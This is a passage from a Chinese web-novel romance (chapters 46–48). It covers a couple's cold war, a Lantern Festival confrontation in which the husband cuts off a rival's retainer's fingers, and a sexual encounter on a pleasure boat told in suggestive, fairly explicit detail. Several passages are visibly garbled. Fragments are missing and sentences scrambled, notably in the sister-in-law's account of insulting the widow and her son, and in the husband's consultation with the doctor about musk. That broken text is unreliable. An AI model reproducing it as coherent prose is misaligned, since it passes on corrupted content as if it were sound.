说完,找来了听松院的下人,交代了他们时刻看牢了萧善,不许她动不动就往正房跑,晚上更不能与宓瑶睡在一间房。
“阿爹坏阿爹坏!”
听到萧欻的吩咐,萧善手脚并用想给萧欻教训,可惜再卖力她的腿长都不够。
萧欻把胳膊伸直,她活动的手脚就成了被推倒的乌龟,张牙舞爪看着可笑可怜。
宓瑶见萧善气的小脸通红,想帮忙把她取下来,刚动步子,就听到萧欻开口:“你日日说我坏,我怎么好的起来,我只会越来越坏。”
萧善能屈能伸,闻言鼓了鼓腮帮:“好阿爹?”
萧欻也没与萧善计较她的语气,弯腰把她放回了地上。
“好阿爹,我想跟娘亲水水!”
“无论是水水还是睡睡都不可。”
萧欻本来想伸手扯她翘起来的辫子,想起之前扯她辫子她哭的天崩地裂,手指改道捏了她的脸。
手感软弹像是前几日他吃的糍粑,怪不得宓瑶那么喜欢揉她的肉脸。
收回手,萧欻微微侧面,看了眼不远处的宓瑶,眼眸恢复淡漠的模样,不理会抱着他腿耍赖的萧善,大步流星出了主院。
瞧着萧欻的背影,宓瑶眨了眨眼,不知道是从什么时候开始,萧欻跟三个小的相处没以往那般生硬了。
不过这也不代表他成了好男人。
也就从不是人变成了有那么点像人。
“你与妹夫不会是因为我与你阿兄产生了什么误会吧?”
晓得宓瑶跟萧欻分房睡,不用虞少阳催促,甄婧就匆匆寻了宓瑶,问她到底是怎么一回事。
“嫂子你都让我晓得萧郎肾好,我捡到宝了,我哪能还因为你与阿兄对他产生什么误会。”
听到宓瑶调侃的话,甄婧不好意思地推了推她:“那会儿我是气急了才满口胡说,让嫮嫮你看了我们夫妻俩的笑话。”
甄婧面色红润,愉悦的心情让眉梢看着都是往上翘的,明显是很乐意让旁人看了她与虞少阳这场笑话。
“嫂嫂你与阿兄解开误会了?”
瞧她的模样,宓瑶笑问道,“阿兄可是跟你说了除却你,其他娘子他都看不入眼?”
“我原以为相公是喜欢善良到无私的贤惠女子,谁晓得他与我说,我是什么样他就喜欢什么样。梁秋氏他早就不想打交道,是因为怕我觉得他不够淑人君子,怕我看低了他才一直容着秋娘母子。”
虞少阳比她想的清楚,梁大郎早逝,最可怜的是他白发人送黑发人的父母,他关心只会冲着二老而去,至于遗孀,那不是他这个友人该关照的范围。
昨日两人说开后,感情更好,她摸着他脸上的巴掌痕,都后悔扇他那么重了。
“我爹虽然是文官,家中却不讲多少酸腐规矩,嫮嫮你不晓得我这一年来憋得多厉害,就怕你阿兄觉得我不够贤良,觉得自己娶错了人。”
“看来还得感谢秋娘母子千里迢迢的纠缠,不然嫂子到现在还得憋着,不能在阿兄面前自在的做自己。”
“谢他们做什么,要谢也是谢嫮嫮你。”
她厌恶那对母子,晓得他们今个要被押上船赶走,她特意早起出门了趟,本来是想去骂秋娘两句泄愤。
但到了地方,见两人眼睛红肿,形容憔悴,觉着他们白跑一趟没讨到好算是可怜,就没了再踩他们一脚的心思。
可是她想放他们一马,秋娘却偏生想再被刺一顿,瞧见了她就大哭着说她歹毒。
“你阿兄要赶她,她却恨上了我,一口一个我狠毒,容不下他们母子,让你阿兄把他们赶走。”
甄婧现在想起依然觉得母子俩人是疯子,“还有她那儿子,也不知她是怎么教的,明明姓梁跟虞家一点关系都没有,却觉着若是没有我,没有我肚里的孩子,你阿兄就会被把他当做亲子培养疼爱。”
“那嫂子是如何应对的他们?”
“自然是统统臭骂一顿,梁秋氏不要脸皮,死了相公想改嫁没什么,但不好生寻摸个郎君再嫁,而是纠缠对她无意的男人,就是活脱脱的贱人。”
快,梁小郎又丑又邋遢,却觉得自个是男丁,所有人都该爱他疼他,还阳嫌弃。
她就乐意生女儿,样子的儿子,那还不如塞回肚子不生了事。
从头到尾贬了母子俩一顿,连梁小虞少阳两天没吃饭都说了一通,进了船舱。
“你阿兄原本只打算把人送到荆州,就任由他们自个返回上京,我还想着孤儿寡母的,若是出了什么事怎么办,要不然还是把人送回上京算了,但经过早上那回事,我算是明白了,有些人就是不能心软,他们既然能来,自然也能回去,我操心个什么劲。”
,夸甄婧做得好。
有了宓瑶的鼓励,甄婧也觉得自个做的潇洒痛快。
等到虞少阳归府,询问宓瑶和萧欻是闹什么别扭,甄婧才回神,她与宓瑶聊了一个多时辰,除却第一句话跟宓瑶的夫妻关系沾边,后面她们都是在聊她。
“嫮嫮该是不想提跟萧镇使的事,我们聊了一个多时辰,我的事跟她说了个干净,她与萧镇使为何分房却是一句都没跟我说。”
听到甄婧什么都没问出来,虞少阳叹了口气。
“郎君今个找机会问萧镇使了没有?”
“同你一样,什么都没问出来,他只道两人没什么误会。”
“夫妻若是没有误会,哪会分房睡觉。”
说着甄婧突然想到,“遭了,我与嫮嫮说的太兴起,忘了与她澄清你肾不虚,只是萧镇使是武将身形魁梧与寻常男子不同,你心疼她才胡乱说话。”
听到甄婧说遭了,虞少阳还以为发生了什么大事,听到她是说这事,他无语了片刻:“忘了就别提了,哪有兄长操心妹妹房中事的。”
“你如今不就是在操心?”
甄婧瞥了他一眼,没好气地道。
是谁大早上晓得两人分房,火急火燎地让她打听是怎么回事,那劲头都恨不得钻到夫妻俩的床底。
虞少阳神色讪讪,新婚夫妻还没磨合好自然让人担心,再者经过了他和甄婧没说清楚,互相误会的事,就怕妹妹与萧欻也是这般。
两边都打听不出来,虞少阳又没法子忍着不管,所以又想了个让两人和好如初的办法。
“两日后的上元节,你与嫮嫮和孩子们一同出去,我叫上萧欻,让他们夫妻俩夜游观灯,有什么误会面对好景也能和好如初。”
“就怕他们和好,咱们就要吵了,你忘了上元节是咱们一眼定情的日子,你为旁人忙活,那我算什么!?”
怀了孕后甄婧的情绪就时常浮动,往常因为要装样子才从来不表现出来,如今虞少阳都说喜欢她这样了,她还隐藏个什么。
晚膳时,宓瑶瞧着甄婧面色不好,虞少阳脖颈上多了两条鲜红的抓痕,就晓得夫妻俩又有了争执。
原本以为闹闹就成,谁晓得过了一日甄婧还是冷脸。
得,府里两对夫妻都冷战上了,就这每天还要聚在一张桌子上吃饭。
作为一个只爱事少不爱事多的娇妻,宓瑶没想着帮夫妻俩和好,倒是想为了彼此的食欲,要不要找借口把吃饭的桌子分了。
甄婧怀孕是个现成的借口,孕妇饮食要注意食性,不能多油多糖,她跟孩子们可以跟甄婧一起吃,留他们两个男的两两相望。
只是还没等她实施这个事,虞少阳就先找上了她,让她上元节带着甄婧出门,方便他布置花灯讨好她。
“上元节街上全是人,就为了看几个花灯去被挤来挤去,有什么意思?”
宓瑶不喜欢在节庆日出门,这次上元节,只打算让霜华他们带着几个小的出去逛一逛,而她自然是在家躺着。
见虞少阳听到她的话呆愣,宓瑶皱了皱鼻子,“嫂子怀孕了,阿兄还让她去大街上受挤,怪不得脖子上没一块好肉。”
虞少阳:……
他这都是为了谁都是为了谁!
宓瑶不乐意凑热闹,但挨不住虞少阳的不停劝说,加上羊脂玉净瓶的贿赂,宓瑶勉强点了头:“阿兄平日就该想明白如何做好夫君,别光临时抱佛脚,没事就惹嫂子生气,还牵连我们这些无辜的人当牵线娘。”
虞少阳:……
他的错他的错都是他的错!
*
上元节当日,益州城内到处张灯结彩,宓瑶他们刚出府门就听到了欢快的锣鼓声响,没走几步正巧遇到了有人家请了舞龙舞狮队热闹,龙首高昂,时而口吐火焰,时而翻江倒海。
表演的技人双手双脚都绑了铜铃,随着他们的舞动,清脆的铃声和浑厚的鼓声和成一片,热闹至极。
再往前面走,还有伶人搭的台子,相比于那些请到府邸唱戏的戏班,这些当街表演的伶人唱的要混不吝太多。
开口便是胸前如雪脸如莲,扯起了相公不在家,老公公来扒灰。
交代了照料萧善他们的下人看紧他们三个,把他们拉着去旁处去看热闹,宓瑶则是跟面红耳赤的甄婧,一起双眼放光的听段子。
自个遇到粗枪会有巨物恐惧症,但听到旁人大谈宛如儿臂,只会嘿嘿地笑。
听到招揽的帮闲说台子后头的茶铺可以坐着听曲,两人都有些心动,宓瑶是忘了要帮虞少阳牵线,而甄婧是忘了要让宓瑶跟萧欻和好。
只是走到半路,听到一声刻意压着嗓子的磁性男声。
拦路那人笑不见眼,手上盘着两个玉核桃,朝着宓瑶与甄婧道:“娘子与夫人还是换一家酒楼歇脚,这茶铺看着腌臜,进里头的都是些市井闲汉,二位入内若是被人骚扰坏了兴致,那便不美了。”
宓瑶与甄婧齐齐看向拦路人,听完他的话互相对视了一眼,眼中都写着他说的“骚扰坏了兴致”指的是不是就是他本人。
因为两人的想法太一致,情绪都写在眼中,忍不住都笑出了声。
常旋克见美人露出笑颜,原本没有停歇的心口又狂跳了起来,他未曾想过这世上竟有这般貌美的美人。
方才他在酒楼二楼下望街市的热闹,看到宓瑶时,他还以为是街道华灯太闪,让他眼花看错,把路道上的庸俗妇人看成了面若芙蓉的仙子。
盯了几眼,他受不了心痒下楼一探究竟,没想到近看美人更美,就像是仙气飘渺的仙子趁着凡尘热闹,偷摸下凡来感受人间烟火。
“我们心中有数。”
看到拦路男子的眼神,甄婧就知道他在想什么,她与宓瑶都梳了妇人髻,他用的却是不同的叫法,怕是让色心迷了眼,看出宓瑶是已婚的妇人也当做看不出。
甄婧把宓瑶往自个身后拉了拉。
说完,也不去茶铺而是继续往前走。
常旋克见美人要走,连忙跟上:“街道拥挤,让吾护送二位。”
“二位瞧着不像是益州人士,这位娘子瞧着像是江南水乡养出的娘子,而这位夫人像是北方人,夫人可是来自上京?”
常旋克在旁急急忙忙地卖弄自个,一句接一句,宓瑶瞧他头上镶嵌了宝石璎珞的金冠,猜想她们只要顺着他接一言半语,他恐怕就要摇头晃脑地炫耀他的出身。
“你方才说的骚扰就是你罢?我们的赏银只给有艺可卖的伶人,你这般嘴巴多的,我们就是闲钱不少也赏不到你身上。”
萧欻过来正好听到了这句,扯了扯唇,想想她面对其他男子的态度,她对他可真是温情蜜意。
宓瑶余光撇了眼靠近的萧欻与虞少阳,继续朝面前的男子道:“还站在这做什么,我郎君别的不会就喜欢喝醋,他可不管你是有其他心思,还是单纯地学乞丐乞讨,小心他二话不说就捅你一剑。”
萧欻依言把手搭在了腰间的剑柄上,见常旋克随侍面色紧绷露出刀刃,才淡淡开口:“常察使拦住我夫人,是有话与我说?”
第47章 第四十七章【VIP】
常旋克自然注意到了宓瑶的妇人髻,虽然可惜自己不是美人的第一个男人,但也没放在心上,反正他能做美人最后一个男人。
只是他没想到美人的夫婿竟然是萧欻。
见到萧欻的刹那,常旋克就反应过来宓瑶便是之前风头无两的江南第一美人。
原先还以为是虞家夸大其词想把女儿买个好价钱,见着宓瑶,他才知道所言非虚。
宓瑶之美当得起第一美人。
而她越美似神女,他就越可惜她跟了萧欻这个莽夫。
若非走了好运,萧欻的出身连给宓瑶提鞋都不配。
他心中觉得可惜,面上也带了出来,至于宓瑶方才对他说的那些恶言恶语,反正从美人嘴里说的话,不管说的什么都是打情骂俏的蜜语,他自然不会跟她计较。
常旋克怜惜地瞧着宓瑶,没把萧欻的戾气放在眼里,挥手让两旁的随侍收刀:“今日真是巧了,不止碰到了虞夫人,还遇见了萧镇使和虞郎中,不如我们同游赏灯?”
听到常旋克故作潇洒的邀请,宓瑶猜到他身份不一般,不然不会当着萧欻的面也敢这般嚣张。
而他的嚣张明显是展现给她看,让她知道她依靠的相公不过如是。
见状,宓瑶没有开口的意思,只是看向了萧欻。
虞少阳知道常旋克的底细,怕萧欻不好得罪,正想开口解围,就听到萧欻冷声道:“常察使还未年迈耳朵便生了疾?没听到我夫人道我平生喜好不多就爱喝醋,是想受我一剑试试我夫人是否所言非虚?”
常旋克笑容僵硬在了脸上。
他没想到萧欻会那么不给他面子,作为圣上亲派的观察使,赵天赫对他都客气有加,萧欻一个四品军镇使是哪来的胆子这么对他。
“萧镇使确定要如此对我说话?”
“常察使确定要在热闹欢愉的节庆里流几滴血败兴?”
萧欻回以反问,嘴角翘起,眼中却聚起了不耐烦的煞气,像是随时都能出剑伤人,没有与常旋克说笑调侃的意思。
常旋克不愿在美人面前失了面子,但对上萧欻嗜血的凤眸,他还是选择了退让。
若是他今日面对任何一个有身份有出身的人他都不会退,可对上大字不识一个出身草莽的萧欻,谁知道他会做出什么。
萧欻出名的战役中,其中一役就是拿着一把大刀冲入敌营,砍掉了敌军将领上百人头。
这样的人就是当权者手里的疯狗,没有主子牵紧套索什么事都做得出来。
那么一想他更怜悯娇弱美丽的宓瑶。
“虞夫人,吾先行一步,相信往后我们还有机会再见。”
他话落音,萧欻没有抽剑,只是扔出了袖中的小刀,一声惨呼,常旋克身旁随从抱着流血的手指,地上落了两根断指。
“看来常察使还是想看看我夫人所言非虚。”
常旋克脸色霎变,他的随侍都是好手,萧欻却能如此轻松地砍掉其中一人的手指。
说明他要是暴起发疯,要他的命也轻而易举。
见常旋克快速退走,宓瑶瞧了眼地上的手指和血迹,鸡皮疙瘩起了一身,怀疑萧欻不止是震慑常旋克,还有吓她的意思。
瞅了萧欻两眼,见他没有也砍她手的意思,她才道:“郎君不管吗?”
宓瑶自个不看地上,只是头晃了晃示意萧欻看地上那个有手指的位置。
因为他们这群人停留在这,百姓们才绕开了这里前行,等会他们走开,若是哪个路人踩到了手指不得吓死。
“给我一方帕子。”
宓瑶以为他是问她要,拿出来之后,发现他是朝侍女伸的手,拿到帕子后他蹲下擦干了血迹,包了手指,才把帕子扔给了濮青*。
“去埋了去。”
萧欻的动作太快,眨眼的功夫他就蹲下,濮青想代劳都没来得及,只有捧着帕子应声快去把手指埋了了事。
收拾完了,萧欻才抽了宓瑶手上的软帕擦手,宓瑶瞧着上好的软锻在他粗粝的手上揉过,倒不觉得可惜,就是觉得这般没什么用。
“光这样干擦怎么行,还是得用水净手,还有你方才用过的刀具,应当也沾了血,不洗净该留味了。”
“是是是,该洗干净了才好。”
呆愣半晌的甄婧反应过来,连声应和,拉住了虞少阳道,“嫮嫮你与妹夫去净手,我与你兄长去别处赏灯。”。
“娘子,你是不是害怕了萧欻的手段,这事”
“萧镇使雄毅,他与嫮嫮实在相配,美若天仙教人觊觎的美人与英姿飒爽的将军,我的心肝到这会还在狂跳,你有没有瞧见萧镇使护嫮嫮的模样,如此男子我还以为只有话本里才有。”
虞少阳:……
什么东西?
萧欻是世间难寻,在话本里才会出现的男子,那他是什么,他是寻常可见的普通的男人吗?
他还以为妻子是怕了萧欻的雷霆手段,谁知道她没害怕反倒迷上了萧欻的手段,觉得萧欻那般才是让人仰慕的好男子。
“娘,平生最喜欢的就是喝醋。”
甄婧白了他一眼,“你说你说要帮嫮嫮与萧镇使和好,却杵在那里不动碍眼,也不晓得把地方让出来让两人说话,要不是我拉你,你还打算在那儿站到几时。”
“我是怕嫮嫮害怕。”
“嫮嫮哪儿像是害怕的样子?她还关心萧镇使手有没有沾上脏污。”
甄婧捂着心口,越想越觉得两人相配,“你可别捣乱,他们两人从容貌到性子都是天生一对,以往我只觉得他们容貌相配,今个看了萧镇使的英勇,才觉得只有萧镇使能护得住嫮嫮,如此相配的两个人,若是有什么矛盾,那也一定是你在旁做了什么坏榜样,让嫮嫮对萧镇使产生了误会。”
虞少阳:……
对对对,好好好,反正都是他的错。
他就是天字一号的大罪人。
*
“这是郎君你定下的?”
宓瑶抬眼看向周围,觉得这个的眼睛要被周围的华丽的布置给刺瞎了。
说要净手萧欻一路带她上了画舫。
画舫外头看不出什么,一进船舱,绘制各类精巧图样的彩灯悬挂,漂亮是漂亮,但给她一种风稍微吹大些,她就要葬身火海的感觉。
“是你兄长。”
虞少阳让他出门时,说是让他帮忙劝和他与甄婧,他不应下,虞少阳就直接说为他和宓瑶定了画舫游湖。
而他也不知他出于什么心思没有再拒绝。
“看来说什么让我帮他哄嫂子,只是为了让我们和好。”
宓瑶边说边鼓着腮帮子吹灯笼,吹了一路,只把最好看的几盏灯盏留了下来。
赏了片刻灯盏,宓瑶才回眸看向萧欻:“郎君就这般沉默不语?”
“你想我说什么?”
萧欻目光定在她的脸上,不知她是如何能这般理直气壮,明显是她做错了事,她既不打算改不打算解释认错。
前两日被他指出错处还有几分心虚,这会儿则是把错都推到了他身上。
嗔怪的眼神就像是他故意找茬,小肚鸡肠不理她与她置气。
虞少阳租下的是两层画舫,除却掌舵的船夫,还有吹奏唱曲的伶人。
寂静中伶人倏然在甲板上开始吹奏,靡靡的乐声与女人柔媚嗓音传来,两人都怔了下。
“唱的还挺好听。”
宓瑶感叹了声,在椅子上坐下,没心没肺的模样让萧欻眼底升起了一丝烦闷。
她是想到哪说到哪,浑然忘记了刚刚还在质问他。
拿出了降服敌贼的耐心,萧欻在一旁坐下,一言不发,只是沉静地看着她,与她一同听起了伶人唱曲。
低暗的光影下,灯盏上的仕女花鸟都被拉扯出摇曳的黑影,和风吹动的帐幔一起在人的肌肤上爬动。
宓瑶觉着有些痒。
不是因为时不时擦过她肌肤的碎光,而是萧欻的眼神。
两人中最先受不了的是宓瑶,因为她在萧欻的凝视中发现了一些别的东西。
一些稠密的情绪。
坏消息,男主好像是情窦初开了。
另一个更坏的消息,初开的对象是她。
对视片刻,宓瑶像是被烫着般收回视线。
但垂下视线后怕萧欻看出她知晓了什么,她又对上了他的眼眸:“今个是十五,郎君与我冷战,看来是要放我休息了。”
“谁与你冷战了?”
萧欻淡淡道,“我只是嫌你臭不愿意与你同睡罢了,这屋子满是艾草的气味正好,掩盖了你身上的臭味。”
说着,他大手一伸,揽住宓瑶的腰肢,让她跌坐在了他的怀里。
手掌的温度隔着衣裳宓瑶也能感受得到,想到他这手刚刚才让人没了两根手指,她寒毛直立,同时又有些兴奋。
兴奋这事她自个也觉得自个奇怪,明明是伤人的事,但见到萧欻跟人漠然对峙,被人藐视便动了刀子让对方晓得厉害。
她再看萧欻的脸,就觉得多了一丝平常没有的英俊。
这种心态大约是慕强,若是萧欻像是之前解决萧良与马家人的争端,一副随便外人怎么欺负自己孩子的模样,他的神色再高傲锐利,她也兴奋不起来。
“那位常察使官职应该不小吧?郎君因为我得罪他不会后悔?我还以为郎君会与他客气,说让我陪他去逛花灯。”
“我脑子有病不成?”
萧欻因为宓瑶的设想皱了皱眉,他为何要与一个蠢人客气,让他的女人去跟他逛花灯。
宓瑶低眸不语,手指在萧欻的胸膛轻扫,一下下撩动着他的神经。
“之前郎君对一郎不就是这般,他受了欺负哭都不敢大声哭,你却在旁冷眼看着,仿佛旁人说的什么都对,自个人说的什么都错。”
对上萧欻的眸光,宓瑶手指捏住他的皮肉拧了拧,意识到自己下手重了,弥补地朝他抛了个媚眼,“郎君不知,那次我见你那般,第一反应便是以后不能被郎君当做自己人,不然也得受尽委屈,连哭郎君都还要让憋着不能哭。”
说着,宓瑶想起什么,“所以说今日郎君护我,是因为与我冷战?若是我们俩没有矛盾,郎君把我当做自己人,今日怕就不护着我了。”
宓瑶的猜测换来了萧欻的一声冷嗤。
他没有立刻答话,只是抓住了她作乱的手指,俯首噙住了她的耳朵。
将她肉乎乎的耳朵尖咬了一遍,他开始吻她的耳后,舌尖一点点下移,宓瑶仰着的面上满是绯红与热气氤氲出的潮湿。
宓瑶本以为萧欻是觉着直面她的问题觉得尴尬,所以选择亲她。
亲一会应该就会与她继续话题,谁知道他越吻越深,明显不是逃避尴尬,单纯是色心起来了想与她亲热。
跟常旋克不同,常旋克起色心是只能看着她做梦,他则是直接把她抱在了腿上。
甲板上的唱曲不知道什么时候停了,只剩下远处人群过节热闹嘈杂的声响。
这种情况下亲密碰触,让宓瑶有种羞耻感,特别是舱内的烛火不止倒映了花灯上的仕女,还将她和与萧欻的身影交叠,随着湖波摇曳上下起伏。
“有榻……”
宓瑶不太习惯这种整个人都支撑在萧欻身上的感觉,支撑点只有一个,把他坐断了事小,要是他把她摔了怎么办。
“那榻不知道多少人睡过。”
低哑的嗓音否决了宓瑶的建议,大约觉得坐着不好使力,萧欻扶着她直接把她抱起。
宓瑶低声尖叫了几声,顾忌着船上还有其他人,她咬唇把叫声憋了回去,捶打了萧欻几下。
“你还是省些力气,不然等会下船,你打算如何走回府邸?”
听着萧欻还打算让她走回萧府,宓瑶扑到他脖子上就是一咬:“我都累成这般了,郎君好狠的心。”
“是你累还是我累?”
萧欻抱着她颠了颠,走动的是他,用力的是他,她就负责锤他跟水流不止,怎么就成了她累了。
宓瑶翻了个白眼不与他辩驳这个。
而她不搭理他,他也不放过她,反倒是坏心眼的摇起了船,让她这个坐船的人东倒西歪,花枝乱颤。
越来越控制不了叫声,宓瑶干脆扒着他的肩,想靠接吻堵住她的嗓子,谁知道她唇凑过去,萧欻侧脸躲过了。
怔了下,宓瑶冷笑了一声。
只是在颤抖中她这声冷笑娇娇媚媚不知道萧欻听出来没有。
宓瑶这人一项信奉君子报仇十年不晚,等到屋内停歇下来,她也不下地整理衣裳,而是继续坐在萧欻的腿上,抱住他的头,用唇瓣去找他的五官。
从眼皮一直吻到了下颌,就是不去吻他的唇。
围绕着唇周围的擦碰若即若离,萧欻甚至看到她伸出嫣红的舌尖碰触他的肌肤,却对能给予她回应的唇避之不及。
晓得她在气什么,萧欻觉着有些好笑。
不过是不接住她的吻罢了,她就能怒成这样,非得证明他抗拒不了她才行。
宓瑶玩够了鼻尖压在萧欻的鼻梁上,近距离地盯着他:“郎君心里是藏着什么人?身体为那人守不了洁了,嘴就得守着,怕与我相濡以沫后就背叛了她?”
萧欻自个都不知道他心里藏了什么人。
“我与你之前又不是没亲过。”
“是啊,之前亲了,如今心里有了人,怪不得找架跟我吵呢,原来是找借口不与我睡在一床,好为那位守洁,亏我还愧疚觉着是不是我做错了什么,原来是郎君心中有了别人……”
宓瑶还没说完,萧欻压着她的头狠狠吻上了她动个不停的嘴皮子。
“哟,郎君这是做什么,就不怕脏了嘴巴,让放在心中珍重的那位娘子不高兴?”
宓瑶一边挣扎,一边酸唧唧地说话,萧欻原本堵她嘴巴的力道也因为发笑松了松。
“她与你不同,她度量大不会与我因为这些小事置气。”
“郎君觉得与我亲吻是小事?”
宓瑶瞪大了眼,因为腿岔开了太久,她下地踉跄了几下,打开了萧欻扶她的手,她自个扶着桌子站直,“我气着呢,你别碰我。”
萧欻见着她恍若喝了酒的样子好笑,而宓瑶触到他脸上的笑意,腮帮子鼓得更加厉害,跌跌撞撞地就要往船舱外走。
“还没疯够?怎么突然长出来了骨气,真打算走着回府了?”
萧欻说完没给宓瑶再说酸话的机会,直接把她压在船舱的柱上,寻到她的唇吻了上去。
察觉到她的挣扎,他觉着自个听着船桨搅动湖面的水声听晕了头,他覆在宓瑶耳畔,哄道:“是我错了还不成。”
第48章 第四十八章【VIP】
两人下画舫已是亥时,路道上的花灯依然明亮,只是路人从合家欢变成了一个个跌跌撞撞的醉汉。
风一吹腐臭味四散。
下船后宓瑶原本看夜星璀璨,有观赏夜景的想法,但听到街道上时不时传来男人突兀的大笑或是大哭,一下子就没了兴趣。
见她鼻子与上唇都要皱到了一块,萧欻把马车边缘的木雕荷花水灯递到了她面前:“你要放吗?”
由木头雕刻的花瓣栩栩如生,中间嵌了一圈细碎的萤石,灯芯点燃,花瓣便层层叠叠地展开,如同六月盛放的荷花。
这灯比她今日见的所有灯盏都要灵巧别致。
宓瑶接过拿在手上观赏:“这也是我阿兄准备?”
“明资匠做的小玩意,我未曾讨要,却送到了我办公的校所。”
闻言,宓瑶瞥了萧欻一眼,觉得他这人实在没趣。
她猜的不对,不是虞少阳准备,而是他送她这句话是有多烫嘴,他宁愿拐个大圈也不愿直接说出口。
不愿理会倒胃口的男人,宓瑶走到湖边,蹲下把手上的灯盏放入了湖中。
其他的水灯早已顺着水流飘向了远处,她瞧着她的荷花灯没有任何阻碍,顺遂地被水波推向湖心,才心满意足地上了马车避风。
“郎君要不要猜一猜我方才许了什么愿?”
见萧欻也跟上了马车,宓瑶整理出位子待萧欻坐下后,又往边上铺了软垫,人往软垫上一躺,懒洋洋地靠在了他的大腿上。
她整理与躺下的动作都极为迅速,等到萧欻低眸,腿上已经俯卧了个眼眸半阖,昏昏欲睡的脑袋。
“许愿我变成软榻?”
萧欻扯了扯嘴角,随口接道。
“郎君这般猜也没错,我许愿是愿郎君往后能对我好些。”
宓瑶边说,边摸索握住了萧欻的手,拉着他的手放在了她的头上。
“我又不是河伯,你放水灯许的愿望与我说有何用?”
“郎君这话说的,那我也不是在做河伯的妻子,我是要与郎君你生活一辈子。”
宓瑶不高兴地哼唧了声,“萧郎你自个说你是喜欢我把你神明祈愿,还是想看我朝着其他男人要东要西?”
若是宓瑶此时换一个角度,看得见萧欻的面色,就能发现她说完后,萧欻的眸色深了不止零星半点。
不需展露在人前的凤眸暗涌肆意翻滚,萧欻知道宓瑶说话过嘴不过心,但依然被她哄人的话激起了几分情绪。
目光丈量了隐隐激动的那处跟她脑袋相距的位置,只要她接下来能老实一点,他就不必看她露出惊恐的表情,而他也不用丢丑。
对于一到关键时刻萧欻就不接话示好,宓瑶已经习惯并且懒得与他计较,但感觉他的手放在她头上,就像是把她脑袋当做了可以搭手的物件她就生气了。
“郎君就是不在乎我这般躺着,会不会因为发髻压着不舒服,也该感觉到我头上的发簪戳在你身上,觉着不适吧?”
“既知道让我不适了,你还不起来?”
宓瑶真是无语了萧欻的不懂事:“嫮嫮才不要呢!嫮嫮就是要靠在郎君身上,嫮嫮都不舒坦到握着郎君的手放在发上了,郎君都不帮嫮嫮取取。”
宓瑶撒完娇,自个都觉得自个做作,做好了萧欻把她推开的准备,谁晓得就感觉头上一松,云鬓上点缀的配饰被一样样取下。
等到玉钗除去,盘起的头发倏然轻下,宓瑶眯着眼,舒服地喟叹了声:“萧郎真好,若是萧郎能帮我揉揉头皮那就更好了。”
说完余光就见着搁在一旁的大手动了起来,粗粝的指腹钻入发丝,笨拙地碰触了几下,便开始摩挲发丝与发丝之间的间隙。
“就是这般,萧郎你手指真舒服……”
自带磨砂质感的指腹与敏感的头皮接触,宓瑶又痒又觉得惬意,放纵自个呻叫了两声,感觉头顶的热气越来越重,好像快有什么东西顶着她脑袋了,她才握住萧欻的手,老实闭了嘴巴。
缓了片刻,觉着危险过去,宓瑶转身去看萧欻的神色。
“郎君怎么突然那么好,难不成是真打算做我的神明为我实现愿望?”
要是知道他这边心诚则灵,她的第一个愿望就是让他再给她九十九个愿望。
萧欻轻嗤了声,抬手掀开车帘,让气流带走了车内独属于她的浓郁香气。
知晓,他问姜大夫要了一块麝香香料,想要弄清楚这断子绝
拿到香块后,他嗅了片刻,闻出香块。
但同时他味不是纯粹的麝香。
他从她身上嗅到味道要更甜更暖,似奶香又似夏季的花草,甚至像是他偶尔吃到过一次口味不错的香软糕点。
到这会他还清晰地记得,气味时,那老头脸上怪异的神情。
他的本意是想让老头弄清楚,除却麝香,宓瑶还往身上弄了什么乱七八糟的药材。
谁知老头又是为难又是一副洞察一切的神态与他说,就与动物靠着气味来吸引彼此一样,男女之间若是互相心仪,身上也会散发只有彼此才能嗅到的气味。
这种味道说是体香可以,也可说是男人爱极了女子,为她赋予了一层旁人看不着摸不到的动人仙香。
听完这番解释萧欻当即变了脸色。
觉着姜老头是学艺不精,辨不清宓瑶身上香气都是由何种药材产生,就摸着胡子假扮半仙,开口胡言乱语。
他没把大夫的话当回事,但还是记住了只字片语,他方才容着宓瑶得寸进尺,便是想起了这事,想要试试那学艺不精的老头说的话有几分真。
如今冷风拂面,他能断定就是宓瑶身上的气味有异,他未曾给她赋予什么只针对于他的风韵。
他被她使唤也会烦闷,而不是甘之如饴。
宓瑶见萧欻放下了帘子后,面色又恢复了冷淡,眼底那丝暗红也黯了下去。
知晓他这般是最安全的,可她就是个坏女人,一边觉着他情窦初开,开的对象是她太麻烦,一边又忍不住仗着他懵懂的好感想索要更多好处。
“郎君是还在生气?我以为我们和好了?”
宓瑶去摸萧欻被风吹凉的手掌,与他十指交扣,“郎君不会是心中真藏了一个人吧?”
这句问话一下子就被车内气息染成了滚烫的绯色,两人齐齐回想到了在画舫内发生的事情。
在萧欻的提醒下,宓瑶意识到了租借的画舫算不得干净,听着他认了错就有了离开的心思,可谁想到他认个错上头的脑袋是低了,却梅开二度,拉着她在画舫又耽搁了小半个时辰。
软榻不能用,两人也就短暂隔着衣裳坐了坐椅子,现在回想起来,宓瑶真佩服萧欻的腰力和脚力能抱着她那么久,也就脖颈冒了几滴汗水。
“藏了,你又能怎样?”
萧欻这明显是翻脸不认人,下了船就要否认曾经的示弱。
宓瑶哼了声,松开了握着他的手:“我就晓得郎君心中有了别人,嘴不给亲了,东西也不留了。”
相比于宓瑶这是乱吃飞醋,幻想了一个女娘与他有什么,萧欻觉着她单纯就是无聊了在胡闹。
但原本握着柔荑的手掌空空如也,萧欻只能开口与她争论:“你若是还没亲够,现在爬上来亲。”
宓瑶才懒得动呢,而且她又不是猫猫狗狗,什么叫“爬上来”。
“那是我与你闹了,你才勉勉强强。”
说完,她就觉得面上的光亮一暗,见萧欻嘴里说着让她爬上去,自个却“爬下来”俯身要吻她,宓瑶往旁边一滚躲过。
在摇动的船上站了两回,她不止腰痛,眼睛看多了,胃都有了幻痛,哪能还任由他乱来。
“那东西呢,两次你都抽了出去,是觉着我这处不好,不能存你的东西要留给别人?”
躲过了萧欻的吻,也不妨碍宓瑶嘴巴张张合合,继续寻他的错处。
萧欻的确没想到她连事都能搬上台面说,流的汗放在她那了,她说太满太多,嫌弃的不行,如今他抽出去,她又有话说。
“你是不易怀孕,不是不会怀孕,而怀了又容易滑胎。”
萧欻淡漠的嗓音带着丝丝的嘲弄,大约觉得丢出这话就让她闭嘴,不再胡乱攀扯。
可宓瑶哪里是那么容易认输的人,她怔了怔就开口接道:“郎君对我还怪好的,只是郎君对我那么好,怎么对大郎二郎还有善儿却那样。”
“我对他们又怎么了?”
“还需我说吗?你对他们哪里像是照顾自个的孩子。”
“不缺吃穿不是照顾自个的孩子是照顾谁的孩子?给他们命让他们在世上诞生的不是我,我把他们接过,能让他们继续活着,还要我如何?”
“自然是让他们感受到你是他们最亲近的人,为他们挡风遮雨,而不是让风雨直冲他们脑门。”
